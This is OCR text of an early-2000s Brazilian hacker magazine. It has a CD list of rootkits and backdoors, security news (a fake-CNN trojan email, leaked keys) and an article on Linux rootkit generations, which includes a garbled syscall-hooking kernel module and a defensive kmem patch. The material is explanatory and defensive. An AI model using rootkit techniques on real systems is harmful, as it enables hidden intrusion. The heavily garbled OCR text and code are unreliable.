er de ataques. Inclui
rso,smsfemas. e

esconda
opgoes
‘ i

Darkside 0.2.3 Root kit para
esconde processos, arquivo! U I
modifica a pilha de TCP/IP pa "e’s*é'n
conexoes s
DDB Backdoor que permite a vocé alcam@ar [o)
status de root/usuario

Fake Backdoor System v1.1 Quando o invasor
ataca com um comando na backdoor, sera
retornada uma resposta ao invasor que o
desconecta do host

Flea Um root kit para todas as distribuicoes
Linux

Bdoor Unix backdoor que finge ser um HTTP
daemon

St. Jude Um maodulo do kernel para detectar e
reagir a insercao de root kits de LKM

Chkrootkit 0.40 Ferramenta para verificar
localmente se ha sinais de um root kit
instalado

Lids 2.0 Um patch para o kernel e uma
ferramenta de admin para realcar a seguran-
ca do kernel do Linux contra os root kits

Pacote completo para conexdes wireless.
Inclui diversas ferramentas para Windows
e Linux, como sniffers, programas de
monitoramento e tutoriais

n Este CD-ROM contém

tengao m softwares que podem danificar
(omp.utadp}esv Eles foram incluidos neste CD exclusivamente
para estudo e desenvolvimento técnico. Nao nos responsabiliza-

mos por seu uso indevido. O uso destes softwares para
'
prejudicar terceiros é crime, passivel de punicao.

2  Flood( uard Alert Projetado para detectar
|| todos os formularios de ataques do tipo

flooding, incluindo DDoSes e worms

‘TBFirewall 3.1 Conecta uma ou mais redes

locais a outras redes
KPassCard 0.1.2 Uma aplicacao para o KDE
para armazenar as senhas em um chipcard
encriptado com uma senha mestra

Openix 0.6 Uma implementacdo Open
Source do protocolo IEEE 802.1x

LaBrea 2.4 Programa que cria um honeypot
fazendo take over em enderecos IPs nao
utilizados

Secure Data Manager 1.01 Armazena inicios
de uma sessao e informacao confidencial para
locais da Web, computadores, cartoes de
crédito, etc.

Promisc Um sniffer baseado em AF_PACKET
domain socket. Analisa protocolos IP, TCP,
UDP, ICMP e ARP

Pam krb5 1.3 Projetado para permitir uma
integragao suave do Kerberos 5 que checa
passwords com as aplicacoes construidas
usando o PAM

PARENTAL
ADVISORY

Configuragdo minima do equipamento: PC Pentium 233 com 32 MB de
RAM e drive de CD com velocidade dupla. Os requisitos podem variar
de acordo com o programa, alguns podem nao rodar no Windows XP

0 contetido do CD-ROM é formado por softwares freeware e

versoes de demonstragao

EXPLIGIT SOFTWAR

Eprarc e
7oapag

}ﬂ’ecesmd e,

E aunol: Wiretopping Linux tools,
defacements, clusters, vulnerahilicladles,

espionagem inoastrial, virus, MP3 e muito mais..

Mais ole 100 2nes com o melhor da eultura un

ACKHS

k-‘pqru proteger suas mensagens, mdis

o(er'rouno(

sexzchmod 0( )00 sex

cp/de nullis

3 Controlandosnst mas como’ root

noJ E—-mau!

- Programas e tutoriais no .C D

uma videoaula exclusiva sobre PGP

Open Wireless

+.de forramentas p/
20 hackear redes sem fio

Veja mais destaques do
CD no verso da revista

R$ 11,90 Ano I # 10
www.digerati.com.br
ISSN 1676-3068
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Crime ¢ ndo Aprend ,

DELLA VALLE - ULBRICH

sérieUniversidade

iversidade Hacker

- ! aﬁgamento Nacional -
Fazendo a sua reserva i 2
e todos os segredos do submundo dos hackers

pelo site da Digerati,
voc:a pOde ac.lqu ':;r Promogao de // Aprenda as mais modernas técnicas de invasdo e defesa //
qualquer revista da // Gonheca os assuntos que um hacker deve dominar //
Loia Virtual Lansame nto // Saiba tuto o que é necessario para se proteger //
J // Grade curricular completa do curso, com as disciplinas:
Vulnerabilidades - Programagdo — Psicologia Hacker - Redes

inteiramente gratis!
. sistemas Operacionais — Fundamentos Juridicos - Engenharia Social
. Plataformas Microsoft, Unix e Apple - Laboratdrio de Redes — Hardware

Kernel Avancado - Atague, Defesa e Contra-atague 1/
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4 g
Incluindo °
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(7

DIGEAATI

DIGERATI

EDITORIAL/INDICE

M“l‘)”“}

Preparem-se, linuxers, porque vi
esses 0s boatos que rondam o mt

ot

\i

IS - [spionagetn
Digilal

28 Cl l_&,s_lsl_'_.-_}

L e

4 i & Vulnerabilidades

46 - Guia do (_Q_d>




j‘ Trend ServerProtect Mansgeaent Copsole 5 0

{rlomation Server Domain Confige View Do Help

NouUo WiNDows Ja
Lem anGiuirus

Task TREND imwne T
i New Task f*jer?mtécg &\
: ¢ =

| | = LT ServeProlect (STINKPAD)
= ¥y TREND-EAST
STINKPAD

process.

Scan Now
Scan Result
Update
View Log

ServerProlect enables pou to create yout own tasks,
alorang you 1o schedule multiple functions to be performed
simuanecusly. You can use tasks to automate the toune
antivirus maintenance procedures on your natwork.

Select the target server{s) in the domain tiee and then click
the "Creale...” button to create a new task. The
ServerProtect Task Wizaed wil guide you thiough the

Para quem quiser confiar...

Um dia depois de ser lancado, o novo Windows
Server 2003 ja tinha algumas opgoes de
antivirus para os usudrios que ainda confiam
nesta plataforma para montar o ponto
principal de suas redes.

Uma dessas opcoes é o ServerProtect, da

Set Scan Option
Set Notification

Ready

Trend Micro. As empresas que adotarem o
Windows 2003 Server também terao os

Guerra bDe NoGICIas

Crackers usam CNN para capturar dados de
usuarios

From: redacao@cnn.co

To: (sup
Sent: Sunday, April 20, 2003 12:35 AM
Subject: CNN - EUA prepara ataque a siria

CMOcom‘br prética de enganar

BUSH x SIRIA pessoas para roubar

S e ke s revcnsds e senhas edadossigilosos;
veja + sobre esses ataques: chicando aqui

Quem diria que a
engenharia social, a

chegaria a um nivel tao
desenvolvido? Aliada a e-

redacao@cnn. com.br

mails falsos e sites que

imitam perfeitamente os originais, crackers tém conseguido as mais
incriveis facanhas.

Uma das mais recentes e famosas envolveu a CNN, respeitada rede
internacional de noticias. Crackers brasileiros enviaram para
inimeras pessoas spams com uma noticia bombastica atribuida a
emissora: os EUA preparam ataque a Siria.

0 e-mail, cujo contetido pode ser conferido ao lado, enganou muita
gente, que, ao acessar o link “Veja + sobre esses ataques clicando
aqui”, era direcionada para o endereco www.dklogs.hpg.com.br/
cnn.exe. Deste, baixava-se um trojan que instalava, secretamente, o
programa Perfect Keylogger, o qual registra num arquivo protegido
tudo o que é digitado. O hpG retirou o site maldoso do ar.

gPen Source Financ

Essa parece ser a opiniao do governo dos EUA

Nao adiantou cor

Defesa dos EUANO desenvol
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suspeita-se

Source pode ajudar nac ik
claramente de brecar 0 G€
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:
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va constrangido com 0 df
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oes que apolam o terrorismo.

id0 cerrorismo?

C 1 > [ alle ode
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9
mento C onB 2GS 3 2 ( 1a0 € 1SSO
ento o Open 3SD 0 processo 0l Cancelc ao Oplo C )
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13) a

~do 4 area de tecnologia) é
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as @ of

d C S C alvez ate uenclaaos por
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esmo pelos missels

recém-lancados servicos adicionais de prevencao e
limpeza gerenciados pelo Trend Micro EPS " Enterprise
Protection Strategy.

O ServerProtect para o Windows Server 2003 sera a
versao 5.56, que tera certificacao oferecida pelo
Veritest, empresa responsavel pelos testes do
“Microsoft Certified for Windows" . A Microsoft afirma
que programas com esse certificado atendem as
especificacoes de interoperabilidade, confiabilidade e
compatibilidade estabelecidas pela empresa (o que nao
quer dizer muita coisa). Mesmo assim, 0s programas
podem e devem dar pau. E, no caso do antivirus, nao
garantirao a seguranca do sistema.
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Até mesmo Linus Torvalds entrou na discussao e postou uma
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CHiPS NOS PASSAPONGes
Terrorismo exige medidas de seguranca tecnologicas

Depois do 11 de setembro, 0 mundo ficou mais
perigoso, e por isso as autoridades dos paises
estao querendo aumentar a seguranca em seus
territorios (alguns diriam atacar a privacidade de
seus cidadaos, mas nao vamos entrar nessa
discussao aqui). Agora, é a vez do Reino Unido
modificar seu sistema de passaportes,
implementando chips que contenham informa-
coes biométricas sobre o dono da cadernetinha
Nao é preciso nem falar que a idéia é impedir a falsificacao ou o uso, por parte de
terroristas e bandidos, de passaportes roubados. O chip conteria dados pormenori-
zados sobre o dono do passaporte, como a distancia entre os olhos e as caracteris-

ticas da retina, entre outros

REiN0 UNID0D Prenoe

COELHO HACHer

Suspeito dos ataques de Fluffy
Bunny freqiientava feira de
seguranca '

Além de softwares de criptografia, de firewalls,
executivos e grandes corporagdes, 0 que mais vocé
pode encontrar numa feira de seguranca em
tecnologia da informacao? Exatamente. Hackers!
Pelo visto, a lendéria Scotland Yard chegou a mesma
conclusdo e, num dos maiores feitos de seguranca
de redes em Londres, prendeu o jovem Lynn Htun,
apontado como suspeito de ser o hacker Fluffy
Bunny (coelhinho felpudo, em inglés).

Os ataques de Bunny, cujo pseudénimo também é
grafado como “Fluffi Bunni”, ficaram famosos na
Internet por mostrarem imagens de coelhinhos de
pelticia cor-de-rosa em sites desfigurados. Sempre
dirigidos a alvos especificos, sdo muito eficientes, e
constam de seu curriculo invasoes de sites como do
McDonald's e da Symantec.

Até o fechamento desta edicao, a policia, segundo
fontes proximas, estaria empenhada em descobrir se
os ataques do “coelho” eram trabalho de um grupo
ou de uma sé pessoa. Também nao se confirmara se
Htun, que nao havia sido indiciado por nenhum crime
relacionado a informaética, estava realmente
envolvido no processo.
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Kerberos, e a terceira faz referéncia a possibilida-
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INGernes e

BrasiLeira: mMdis

dBEercd e segura

Browsers do Linux terao certi-

ficado digital do governo Lula L .

Novidades no mundo Open Source: agora, os fas Llnux

do software de cédigo aberto ja terdo suporte o

para a ICP-Brasil (Infra-Estrutura de Chaves Publicas Brasileira), um certificado
digital adotado em transac6es on-line pelo Governo Federal. A novidade é fruto
de um acordo entre o Comité Gestor da ICP-Brasil e a Conectiva.

Os certificados digitais, que atuam por meio dos browsers e cuja funcao é
aumentar o nivel de seguranca na troca de dados, ainda néo sao populares no
Brasil, apesar de existirem ha bastante tempo. Com o acordo, o intuito do governo
Lula é incentivar tanto o uso desta tecnologia quanto o da prépria Internet.

Além disso, a insercao do ICP-Brasil nos navegadores Linux (Mozilla, Galeon,
Konqueror) é importante porque, com ela, o Pafs se torna o primeiro a adotar
mecanismos que permitem inserir o SO em um sistema de certificacdo. O
acordo, valido até 2011, nao é exclusivo e pode ser estendido a outras
empresas distribuidoras.

LiHE a UilrGin

Madonna provoca hackers
e se da mal

fcone pop dos anos 80 e 90 e uma das :
principais estrelas do show business até

hoje, Madonna se tornou conhecida pela
postura polémica de suas musicas e clipes,
que fazem vibrar seus fas. Entretanto, quando
a polémica atinge os hackers, as coisas ficam
mais complicadas e a estrela encontra
adversarios a altura.

Arrixa entre Madonna e a elite digital comecou
quando a cantora provocou os usudrios de P2P
e distribuiu em varias redes arquivos que fingiam
ser musicas de seu novo album, American Lite.
Quando, porém, o usudrio abria 0 arquivo, dava
de cara com a mensagem “Que merda vocé
pensa que esta fazendo?".

A reacéo foi rapida. Poucos dias depois, o site da estrela foi invadido, com a

MADONNA
AMERICAN LIFE

COMPACT BISC MATHSWOLE

seguinte resposta: “Essa é a merda que eu penso estar fazendo” e, abaixo
dela, uma lista de links que aparentemente levavam a versées piratas do
album. Além disso, os internautas criaram um concurso para ver quem fazia o
melhor remix com a frase “Que merda vocé pensa que estd fazendo?”. O
prémio era uma camiseta com a inscricao “Boicote a RIAA",

“onectivaPRO

OFFIiCe 2000 BHIGE NOUO reGiscro
Microsoft demora para solucionar o problema

Imagine a situacao. Vocé paga uma fortuna por uma sufte de escritério e, entdo, de uma hora para outra, ela comeca

| a pedir que vocé a registre novamente, caso contrario, ela para de funcionar. Pois € isso 0 que esté acontecendo com
0s usuarios do Office 2000 SR-1a. O problema atingiu inimeras empresas européias e de outras partes do
mundo, que, de repente, nao podiam mais usar o software.
Mesmo depois de uma semana, a Microsoft nao tinha a solucéo para o problema, mas disse estar
trabalhando nessa direcao. Por hora, segundo a empresa, os usudrios devem retroceder o relégio do -
Windows por dois anos (e que desconforto isso deve causar para o envio de e-mails, com datas erradas...).
Ha quem suspeite que o bug foi colocado de propésito para que a empresa pudesse ter uma oportuni-
dade para controlar quem tem licenca e quem usa software pirata. De qualquer forma, € um bug
inédito, que, surpreendentemente, vem recebendo pouquissima atencao da imprensa.
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HLEZ-H cnmpl—'eba 1dN0 outros worms, com uma propagacao proxima a de uma epidemia

E ainda continua infectando PCs pelo Mas, ao contrario dos outros, que simplesmente desapareceram ¢
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facilitar a determinacao de quem realmente o enviou e do que se trata.
Cada companhia desenvolveu suas proprias tecnologias para identificar e descartar o spam e ostentam isso em suas propagandas. Mas, mesmo que esses
sisteas descartem varios bilhGes de mensagens por dia, eles perdem tanto, que o spam tornou-se a principal fonte de reclamacdes dos usuarios. Muitos estudos
mostram que a quantidade de spams, no minimo, dobrou no ano passado, o que fez com que as companhias rivais concordassem em cooperar entre si.
O padrao original de e-mail - desenvolvido para comunicacao entre um grupo limitado de académicos e engenheiros - garante a confianca
dos usuéarios, mas faz com que seja facil falsificar o nome e o endereco da pessoa que envia a mensagem.
Uma vez que os usudrios de e-mail possam identificar quem enviou a mensagem, as companhias propéem o desenvolvimento de uma lista

de comerciantes por e-mail que concordem em estabelecer padroes para praticas responsaveis. Isso nao impedird que uma pessoa com
conexao a Internet mande mensagens de e-mail. Mas usudrios terao a opcao de ignorar mensagens de pessoas que nao estejam na lista.

SGrediminG
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Players populares permitem
invasao de hackers

maior pPracgd
D0S GEMPOS
mooernos
PODE Ser
resouuiod

As companhias América Online,
Microsoft e Yahoo! estao pedindo
mudangas técnicas no modo como o
e-mail passa no ciberespaco, para

Vocé gosta de navegar pela Web e baixar MP3?
Curte assistir a videos on-line ou disponibilizar
material multimidia em seu site? Entéo, preste
atencao nos players que vocé tem usado.

por 4b3d3n3g0

Dois dos tocadores mais populares, 0 QuickTime
e o RealPlayer, apresentaram falhas importan-
tes, que abrem as portas para que hackers
invadam o micro. Logico que, se vocé for o
hacker em questao, a coisa muda de figura.
Sobretudo no caso do player da Real, os
problemas afetam varias versoes: RealOne
Player, RealOne Player v2 para Windows,
RealPlayer 8 para Windows, RealPlayer 8 para
Mac OS 9, RealOne Player para Mac OS X,
RealOne Enterprise Desktop Manager e
RealOne Enterprise Desktop. As vulnerabilidades
nao foram detalhadas para a imprensa, mas sim
patches de correcao. Confira nos sites abaixo:

MS K Sun: NouUo rouno

Microsoft Virtual Machine tem falha de
, seguranca

substituir a maquina virtual da Sun, tem uma séria falha de
seguranca que permite a invasao e até a formatacao da maquina.
Isso acontece justo quando a novela sobre o suporte a Java no
Windows XP esté no fim.

A MS fez um acordo com a Sun para acabar com o processo que

nais dos EUA

cio

Sera que falha de seguranca da
Microsoft é noticia ainda? Afinal,
é algo que se repete de forma

=

rolava na justica ha algum tempo. Nele, a Sun tentava impedir que
a empresa de Redmond desenvolvesse uma maquina virtual propria,
a qual, inclusive, ndo era compativel com outros produtos da Sun.

tdo comum. Bom, mas essa falha

mplo, cor

tem algo de especial. A Microsoft

Xe

Virtual Machine, software que a E, agora, a maquina virtual criada pela MS ainda abre o computa-

e

empresa de Bill Gates criou para dor para ataques. Felizes os usuarios do Windows XP!

File Edit Movie QTY Window Help

<http://service.real.com/help/faq/security/
securityupdate_march2003.htm/>
<http://www.apple.com/quicktime/
download/>

On Locatipn :

%:00:36 L

Europeéia, Ind

PArAdisSo 00s Pirdcds

Russia e Ta

-

ania é o pais que mais

viola direitos autorais

Para EUA, Ucr

que figurou na lista de

PirdcdiMmd eFicience

Chave de registro do novo Windows ja

chegou a Internet

Mesmo antes
de ser lancado,

|\ o Windows

Server 2003 ja
tinha na
Internet uma
chave de -

| registro para

instalacao.

| Juntamente
| com achave,
| varias copias da

nova versao do software foram colocadas ilegalmente na Web para
download.

A chave de licenca de volume permite a instalacdo do Windows
Server 2003 em sistemas multiplos, sem o processo de ativacéo
usado em licencas comuns. Essas chaves de volume sao utilizadas
por usuarios corporativos. Um porta-voz da Microsoft confirmou que
uma dessas chaves vazou na Internet e que a companhia esta
tentando descobrir se foi um funcionério ou um cliente que colocou
ainformacao a disposicao na Web.

O porta-voz acrescentou ainda que, como nenhuma acao de
ativacdo é solicitada para clientes com chaves deste tipo, a
Microsoft ndo pode desabilitar a mesma remotamente. Muitas
empresas européias sofreram com o problema, ja que, depois de
algumas vezes que o Office é iniciado sem ser realizado o registro, a
suite expira.

A empresa demorou para colocar uma solucao em seus site, o que
levou a grandes prejuizos por parte de seus clientes.




ROOT KIT

ormmdo om O n1m1

?ﬁ““‘ % 4 ’LM’ L {‘ ‘v }.": ""x“( -“fl b Ll b AP 1Y 50 [T 7 5 sir A E 2
e # & : . ‘% 3 ‘; et LA LJ‘-_ Ry ja ',_ifi . h&" f‘&"
4 g . B0 ¥ . i Wi ¥ ¥ \ 3‘ i ;‘-:‘ i {

e

Palavras-chave: Linux, seguranca, rootkits.

Introducao

Com a utilizacdo cada vez mais freqliente de cunhados de educatives, um individuo pode ter
sistemas abertos (Linux, FreeBSD, OpenBSD), acesso a informac6es que, em muitos casos,
vimos a preocupacdo com o fato de que muitos sdo defasadas, mas podem causar algum tipo
administradores ja os utilizam no seu dia-a-dia de dano. O maior problema € que, peneirando
para desempenhar tarefas importantes em seus estes iniciantes na :
ambientes de producdo. Com a evolucdo do uma elite que |

seguranca de redes no Brasﬂ £ no
0, 0 administrador de sistema ‘
§ com os problemas dos ditos crackers/
0s cujo principal objetivo é invadir
goras para-expor mensagens polf
afirmacdo e, em casos mais graves, : co 'nto de ferramen-
macoes. Estes invasores pa. : jlle tém como objetivo
So de aprimoramento em suas |
ima espécie de hierarquia, sepa

Este artigo é fruto de um tra- fes e os profissionais.

balho de pesquisa realizado em varios servi- L™
dores invadidos, cuja arquitetura estava total-
mente comprometida pelos chamados root

kits, programas que tém como principal fun-

cao ocultar o invasor e permitir seu acesso de
maneira ndo autorizada, em diversas ocasi-

6es. Foi possivel tragar uma evolucao destas
ferramentas mediante as encontradas na
Internet e em servidores atacados, postos

fora de acao pelos invasores.




0 termo root kit vem designar uma série de ferramentas

utilizadas por um invasor para modificar ou ocultar sua pre-
senca em um sistema invadido. A idéia inicial é a de que
uma série de programas disfarcados em arquivos do sistema
pudesse realizar tarefas de roubo de informacoes, possibili-
dade de acesso nao autorizado a qualquer momento e, em
caso de necessidade, desativacdo da maquina hospederia
dos mesmos, para que o invasor nao possa ser detectado.

Estas ferramentas tiveram seu auge durante o periodo de
1996 a 1999, quando os servidores de grandes empresas
comecaram a se tornar corriqueiros na Internet. Inicialmente,
os desenvolvedores destas ferramentas tinham como foco os
sistemas abertos como o Linux, mas em pouco tempo os
sistemas operacionais da Microsoft tiveram ferramentas
equivalentes, a altura daquelas (podemos citar o famoso
BackOrifice ou mesmo o SubSeven).

Contudo, com o passar do tempo, este tipo de ferramenta
comecou a ser notada; e técnicas, bem como programas de

deteccdo, comecaram a neutralizar e isolar estas ferramentas,

inibindo em muito sua eficacia.

Em 1999, surgiu o que seria a revolucao dentro da area
de root kits; com um paper intitulado “(nearly) Complete
Linux Loadable Kernel Modules”, foi apresentado a comuni-
dade de seguranca uma nova maneira de criar root kits, ba-
seados desta vez em funcoes de baixo nivel do sistema
(Pragmatic, 1999). Inicialmente, este paper mostrava exem-
plos de como corromper diversas system calls em ambiente
Linux, que permitiam ocultar processos, modificar permis-
soes, ocultar médulos de sistema, etc.

Este tipo de software representou um grande problema
para diversos administradores, ja que estes root kits agora
modificavam o funcionamento do sistema operacional, cri-
ando falsas respostas do mesmo. Novamente a resposta veio
com ferramentas de deteccdo mais sofisticadas, que permiti-
am verificar, em tempo real, se uma system call foi modifica-
da, ou se um novo processo era iniciado sem motivo aparen-
te. Assim mesmo, este tipo de ferramenta ainda é muito
utilizado, causando diversas vitimas.

Em 2001, foi publicado um artigo na revista eletronica de
seguranca Phrack, intitulado “Linux on-the-fly kernel
patching without LKM” (Sd & Devik, 2001), que seria a nova
escola de root kits e que hoje ainda é um problema para a
comunidade de seguranca. Os autores apresentavam neste
artigo uma ferramenta que modificava as funcdes do kernel
do Linux em tempo real, sem a necessidade de carregamento
de nenhum modulo de kernel.

Esta ferramenta se tornou o estado da arte, j4 que nao
havia como detecta-la mediante os processos ja utilizados
por programas de seguranca, que localizavam e neutraliza-
vam seus antecessores. Uma das medidas que foram toma-
das para desenvolver uma maneira de detectar esta ferra-
menta foi a tentativa de auditar qualquer modificacdo em
arquivos/diretorios do sistema, ja que, ao criar os-programas
de execucao do root kit, o mesmo precisa colocar seus arqui-
VOs no sistema.

Nesta nova e ultima geracdo, os problemas ainda néo
foram totalmente sanados, mas este tipo de recurso pode

inibir a sua utilizacao.

Analisaremos agora, de maneira mais profunda, cada uma
das classes de root kits acima apresentados, com seu modo
de operacédo e deteccdo das suas funcionalidades.

a) Root kits de primeira geracao - Nesta primeira
geracao, os root kits eram nada mais nada menos que pro-
gramas de sistema modificados. Um exemplo cléssico era o

caso do programa GNU ifconfig. Primariamente, a funcéo
deste programa ¢ configurar/alterar dispositivos de rede
presentes no sistema. Além disso, por meio dele era possivel
visualizar as configuracdes de um dispositivo e, 0 mais im-
portante, verificar se um dos mesmos estava em modo pro-
miscuo. O modo promiscuo ocorre quando uma interface
estd recebendo qualquer pacote de maneira passiva, ou seja,
tudo que estiver trafegando num segmento de rede é captu-
rado. Normalmente, os programas que fazem este tipo de

Link eﬁcap'Ethérnéf
inet addr:18.8.8.198

coisa sdo os sniffers. Os sniffers sdo programas presentes,
quase de maneira obrigatéria, em root kits, e sua funcao é
capturar pacotes e assim conseguir senhas nao
criptografadas de usuérios ou administradores.

Quando um sniffer é acionado, ele coloca a interface de
rede em modo promiscuo e assim pode capturar a informa-
cdo. Na funcao ifconfig é possivel verificar se a interface de
rede estd em modo promiscuo ou ndo, mas os idealizadores
dos root kits tiveram a seguinte idéia.

HWaddr 0808:608:97:6E: AS 48
i Bcast:108.08.255.255 Mask:
"UP BROADCAST RUNNING PROMISC MULTICAST

55.255.8.0

MTU:1588 Metric:1

RX packets:159239 errors:8 dropped:8 overruns:8 frame:®
TX packets:51738 errors:8 dropped:8 overruns:8 carrier:8
colllggqgg‘ﬂ txqueuelen:1008

‘wiBSS

inet addr 127 &%
UP LOOPBACK RUNNING

(57.5 Mb)
ﬁase_address &xssss

~ MTU:16438

TX bytes:91708348 (8.7 Mb]

Mask:255.68.8.0

Metric:1

RX packets:982 errors:8 dropped:8 overruns:8 frame:®
TX packets:982 errors:8 dropped:8 overruns:8 carrier:®
collisions:8 txqueuelen:B

RX bytes:95178

Figura 1: Modo promiscuo causado por um sniffer

(82.8 Kb]

TX bytes:95178 (92.9 Kb]

Os mesmos desenvolveram um ifconfig modificado, que retirava a funcédo de detectar o modo promiscuo e substituiam

este pelo original do sistema. A idéia foi sendo melhorada, e logo havia root kits com a maioria dos programas do sistema

modificados que executavam roubo de senha, abriam backdoors, impediam o log de conexdes nao autorizadas, etc. Esta

primeira geracao foi um sucesso durante algum tempo, mas foi neutralizada de maneira facil.

Inicialmente, foram criados programas que auditavam os arquivos do sistema, guardando em um banco de dados seu ta-

manho, sua data de criacao e outras informacées pertinentes. Caso um arquivo fosse alterado, o programa apontava esta

mudanca e assim era possivel descobrir se um sistema estava comprometido ou nao. Outra técnica foi desenvolver pequenos

programas para deteccao de sniffers e ainda a utilizacdo de programas de auditoria de trafego de pacotes, para a deteccao

de backdoors. Em pouco tempo estas ferramentas sé ficaram na mao de invasores iniciantes e causavam pequenos estragos

em sistemas ainda nédo protegidos.



b) Root kits de sequnda geracdao - Nesta segunda
fase, os root kits deixaram de lado a preocupacéao de modifi-
car programas do sistema e comecaram a modificar, através
de médulos de kernel (LKMs), as system calls do sistema. As
system calls representam funges de baixo nivel que o siste-
ma operacional utiliza para executar determinadas opera-
c6es. Os desenvolvedores de root kits procuravam criar
modulos de kernel que alterassem estas system calls e as
substituissem por funcées totalmente modificadas. Isso
causava anomalias do tipo ocultacdo de processos,

<linux/sched.h>
<syscall.h> '

ocultacao de arquivos e diretérios, carregamento de
médulos de kernel que se ocultavam e encobriam ou-
tros médulos, entre outras caracteristicas interessantes,
como sniffers, backdoors, etc.

A idéia que poderiamos apresentar aqui em nosso tra-
balho é o exemplo classico de uma system call modificada
que impediria um usuario de criar diretdrios, conforme o
classico documento “(nearly) Complete Linux Loadable
Kernel Modules”. Na figura abaixo mostramos uma
listagem simples deste moédulo. .

eitern void* ‘?ﬁggéall_table[];

awfq;igi%%l_call][const-char *path&&z

sys_ca11; 
return 8;

void

{

cleanup_module[uoid}Qw

gy

sys_call_table[SYS_mkdir]=origina

Figura 2: Um médulo de kernel para corrupcdo da syscall sys_mkdir

Este exemplo bem primério demonstra a capacidade de

um root kit, com todos os seus recursos, e que prejuizo o
mesmo causa até hoje em servidores pela Internet. O proces-
so de localizacao e neutralizacdo destes root kits é muito
mais trabalhoso e exige um nivel de conhecimento do admi-
nistrador do sistema operacional bem vasto. As solucdes
iniciais foram a anéalise dos modulos carregados e enumera-
cdo de processos no diretério /proc.

O diretério /proc é um pseudo-sistema de arquivos, no
qual as informagoes ali contidas sao utilizadas pelo kernel
para interfacear o mesmo com as estruturas de dados do
sistema. O que esta ali nao é real, ou seja, é gerado median-
te situaces em que o sistema se encontra naquele momen-
to. Por exemplo, se um processo é iniciado, uma entrada no /
proc sera criada para o mesmo. Em versées mais desenvolvi-
das dos root kits, estas entradas também eram inibidas, e
assim foram criadas ferramentas que analisassem a lista de
simbolos exportada pelos médulos (/proc/ksyms) nos quais o
nome de um maédulo correspondente fosse listado, confor-
me o exemplo abaixo :

feate R26135bB8d%

T fa

R84eB885el

o,

Figura 3: Pequena amostragem do /proc/ksyms com

os modulos carregados

 £8B8c4cal vfatmunlink_R4e8B84ef8

esta técnica, como um auditor/verificador das system calls,
mas assim mesmo administradores ainda sdo vitimas destas
ferramentas de ataque. Uma maneira mais radical e que
também foi muito utilizada é retirar o suporte do kernel a
carregamento de maédulos. Com isso, a maioria dos
rootkits foi neutralizada, o que causou um alivio aos ad-
ministradores de servidores.

¢) Root kits de terceira geragdo - "/dev/kmem is our
friend", assim cita o artigo “Linux on-the-fly kernel patching
without LKM” (Sd e Devik, 2001), que trouxe a tona uma
nova geracao de root kits. Na segunda geracao dos root kits,
com a retirada do suporte a carregamento de médulos, foi '
neutralizada a sua acao em quase 95%; o administrador
inibia uma funcao facilitadora, mas ganhava muito em segu-
ranca. Sd e Devik apresentaram uma solucdo que é complexa
e extremamente criativa.

O Linux possui um dispositivo conhecido como kmem (/
dev/kmem), que possui o diretdrio de escrita e leitura so-
mente pelo root. Este dispositivo abstrato
tem como funcao traduzir a memdaria
virtual utilizada pelo kernel para a memo-
ria real (/dev/mem), ou seja, 0 mesmo faz
o enderecamento da memoria real+swap.
Sd e Devik apresentaram uma nova gera-
cao de root kits, o programa suckit.

O funcionamento do suckit é uma das
coisas mais interessantes que existem;
basicamente podemos dizer que o mes-
mo cria uma tabela particular de syscalls e
desvia o entry point do kernel para a mes-

Normalmente, um rootkit pode burlar este tipo de método
modificando a tabela com enderecos de suas system calls
corrompidas, mas, gracas a um recurso do kernel, podemos
também detectar estas mudancas. Ao ser compilado, um
kernel cria um mapa de simbolos com as system calls e seus
respectivos enderecos de memoria. Este arquivo é chamado
System.map e pode ser utilizado como elemento
comparador das system calls atuais com as originais do siste-
ma. Foram desenvolvidas vérias ferramentas que utilizam

ma. O resultado é que ndo é necessaria a
utilizacao de LKMs. O Linux disponibiliza um meio de locali-
zar qualquer simbolo reexportado/utilizado pelo kernel;
conforme comentamos antes, isso é guardado no
System.map. O que estes root kits fazem de uma maneira
mais complexa é criar uma tabela propria através de compa-
racao de bytes das informacoes das system calls e com isso
redirecionar o kernel para uma espécie de tabela de simbo-
los prépria e reescrever o kmem.

Esta técnica requer um conhecimento muito profundo de
arquitetura de kernel e de sistemas operacionais, sendo a




sua implementacao muito complexa, mas extremamente
funcional.

O suckit faz isso e € virtualmente impossivel a sua
deteccao. Contudo, uma solucao encontrada para a
deteccdo dos memos cai na velha técnica de auditoria de
arquivos, ja que estes programas, ao serem instalados, criam
arquivos e diretorios préprios. Outra maneira € auditar as
conexdes, ja que o backdoor do mesmo possui um modus
operandi, que permite determinar tentativas de conexao a
algumas portas de servico no sistema.

Uma outra solucdo mais complexa foi apresentada na

<++>kmem-ro.diff e

revista eletrénica Phrack, cujo artigo intitulado “Execution path
analysis: finding kernel based root kits” (J. K. Rutkowski, 2002)
propée a realizacdo por meio da enumeracao das instrugdes de
system calls. Através desta sugestao, é possivel detectar um root
kit do tipo do suckit, ja que um comportamento de system calls
an6malo pode indicar a presenca de uma ferramenta desta.

Uma maneira de proteger servidores deste género é preve-
nir o kmem contra escrita, 0 que representa em alguns casos
um custo muito alto para a seguranca de um servidor. Os
préprios autores do suckit sugerem um patch para o kernel
que faria isso.

— /usr/sre/linux/drivers/char/mem.c Mon Apr 8 13:1 8L 5
+++ /Jusr/src/linux/drivers/char/mem.c Sun Nov 4 15:508:27 208081

Ee -49,6 +51,8 Ee
const char * buf,

-~ ssize_t written; 4
/* disable kmem uwrite
return -EPERM;
written = 0;
i f o dofined(. . sparec. =] |}
<—>

A}%ﬂtl 1°ff_t *ppos]

defined(__mc6808868__)

Figura 3: Patch a ser empregado no kernel para evitar a escrita do kmem

Afinal de contas, o que fazer para se proteger destas ferra-
mentas? Em sistemas comprometidos nao ha muito o que
fazer, a ndo ser a analise forense e detectar como foi realiza-
da ainvaséo e tentar pegar o responséavel. Mas, na pratica,
em um servidor que vai entrar na Internet, como proceder?

‘Uma proposta inicial é preparar a maquina utilizando re-
gras classicas de seguranca e, em seguida, utilizar as ferra-
mentas dos proprios atacantes contra eles. O préprio suckit
pode ser utilizado para esconder processos de diversas ferra-
mentas de auditoria e ainda ocultar ferramentas de auditoria
do sistema. E claro que, se um atacante invadir o sistema e
tentar colocar o seu préprio root kit na maquina, teremos

uma maneira de documentar isso.

Uma outra proposta é instalar um kernel keylogger para
documentacao da utilizacdo de comandos no sistema e as-
sim capturar passos de um atacante em um sistema compro-
metido. Na revista Phrack foi publicado o artigo “Writing
Linux Kernel Keylogger” (Rd, 2002), que mostra a
implementacdo do mesmo. Um keylogger baseado em
kernel é interessante, pois pode ser ocultado do atacante e
assim monitorar seus passos.

Uma outra coisa que se comenta € a instalacao de Linux
